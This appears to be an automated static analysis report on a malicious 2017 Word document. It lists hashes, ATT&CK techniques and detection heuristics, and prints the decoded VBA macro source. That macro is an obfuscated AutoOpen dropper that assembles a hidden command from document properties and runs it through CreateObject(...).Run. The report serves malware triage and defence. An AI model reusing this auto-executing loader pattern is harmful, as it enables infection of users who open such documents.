Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 11e7978f2e8fef55…

MALICIOUS

Office (OLE)

55.0 KB Created: 2017-08-01 15:43:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 50143541f552cb4057f0ab2dc885823c SHA-1: bc25edf3e048b44746eb8a0441b9d0f51aef41cf SHA-256: 11e7978f2e8fef554d1dfc9fba452630734dfc77c48a596be6d36139d64f3067
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is triggered upon opening, and it utilizes CreateObject to execute code. This behavior is indicative of a dropper or downloader, designed to fetch and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6336939-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6336939-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6336939-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    alyuAFnqIXBp = VogdpLORDxKj + ActiveDocument.CustomDocumentProperties("mruRgsqxtb") + ActiveDocument.CustomDocumentProperties("UBwWIbsANm") + ActiveDocument.BuiltInDocumentProperties("Comments")
    CreateObject(qbWcDwlgyKdE + ActiveDocument.CustomDocumentProperties("mruRgsqxtb")).Run$ alyuAFnqIXBp, 0
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub autoopen()
    NRebpdnzYcTj
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3223 bytes
SHA-256: f4325f79c545e6d25aee51a82764e6904f9414ce6f5b78c99a13070e2f8ab03f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
39 of 66 identifiers look randomly generated (e.g. 'GURFdwiPbnNc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
NRebpdnzYcTj
End Sub
Function JMusQpTlmaFR(ByVal YRHcydDOIfrk As String, ByVal AyNWRuIlSxbj As Variant) As Boolean
For Each SwBzMthUqKIY In AyNWRuIlSxbj
    If SwBzMthUqKIY = YRHcydDOIfrk Then
        JMusQpTlmaFR = True
        Exit Function
    End If
Next SwBzMthUqKIY
End Function
 Function ShHocQslYmXq(ByVal kBhiHYELICpa As String, ByVal dTzgbGhupxQU As Variant) As Boolean
For Each ShKdygFTWYeV In dTzgbGhupxQU
    If ShKdygFTWYeV = kBhiHYELICpa Then
        ShHocQslYmXq = True
        Exit Function
    End If
Next ShKdygFTWYeV
End Function
 Function GURFdwiPbnNc(ByVal HeTrQgOVNLRF As String, ByVal okgfjGVwQeER As Variant) As Boolean
For Each jyVcsXBLvSdH In okgfjGVwQeER
    If jyVcsXBLvSdH = HeTrQgOVNLRF Then
        GURFdwiPbnNc = True
        Exit Function
    End If
Next jyVcsXBLvSdH
End Function
 Function hmqVdvPwisyI(ByVal PGWcQZtdxlCo As String, ByVal CnSgbUvYjkhw As Variant) As Boolean
For Each nVJOzcHquRjF In CnSgbUvYjkhw
    If nVJOzcHquRjF = PGWcQZtdxlCo Then
        hmqVdvPwisyI = True
        Exit Function
    End If
Next nVJOzcHquRjF
End Function
 Function wusQIzechgbk(ByVal ZQIrWRNeLSwo As String, ByVal VSkMUPtlKpFd As Variant) As Boolean
For Each jrtsRiADzClx In VSkMUPtlKpFd
    If jrtsRiADzClx = ZQIrWRNeLSwo Then
        wusQIzechgbk = True
        Exit Function
    End If
Next jrtsRiADzClx
End Function

Public Function NRebpdnzYcTj()
HPHPHPHPHP = "HPHPHPHPHP"
VogdpLORDxKj = ActiveDocument.CustomDocumentProperties("ZGrKzNdbLO") + ActiveDocument.CustomDocumentProperties("yalDVOzTej")
HPHPHPHPHP = "HPHPHPHPHP"
qbWcDwlgyKdE = ActiveDocument.CustomDocumentProperties("CkvanxoTsD") + ActiveDocument.CustomDocumentProperties("dlKbgjhYHS")
HPHPHPHPHP = "HPHPHPHPHP"
alyuAFnqIXBp = VogdpLORDxKj + ActiveDocument.CustomDocumentProperties("mruRgsqxtb") + ActiveDocument.CustomDocumentProperties("UBwWIbsANm") + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(qbWcDwlgyKdE + ActiveDocument.CustomDocumentProperties("mruRgsqxtb")).Run$ alyuAFnqIXBp, 0
End Function
Function nFiKPyqLjamc(ByVal eBIAWbzlMuHr As String, ByVal NXLPaqICEgZV As Variant) As Boolean
For Each guOanMkbmosZ In NXLPaqICEgZV
    If guOanMkbmosZ = eBIAWbzlMuHr Then
        nFiKPyqLjamc = True
        Exit Function
    End If
Next guOanMkbmosZ
End Function
 Function jDHMwCbpmnWE(ByVal kvixVSKyzEgF As String, ByVal jzDHcqhrWlZK As Variant) As Boolean
For Each OIecRXYsPFqQ In jzDHcqhrWlZK
    If OIecRXYsPFqQ = kvixVSKyzEgF Then
        jDHMwCbpmnWE = True
        Exit Function
    End If
Next OIecRXYsPFqQ
End Function
 Function QVdCzSZgGYhl(ByVal WGIyQoCKwgXb As String, ByVal MeDVquagCSjQ As Variant) As Boolean
For Each mHzyFofIiMqk In MeDVquagCSjQ
    If mHzyFofIiMqk = WGIyQoCKwgXb Then
        QVdCzSZgGYhl = True
        Exit Function
    End If
Next mHzyFofIiMqk
End Function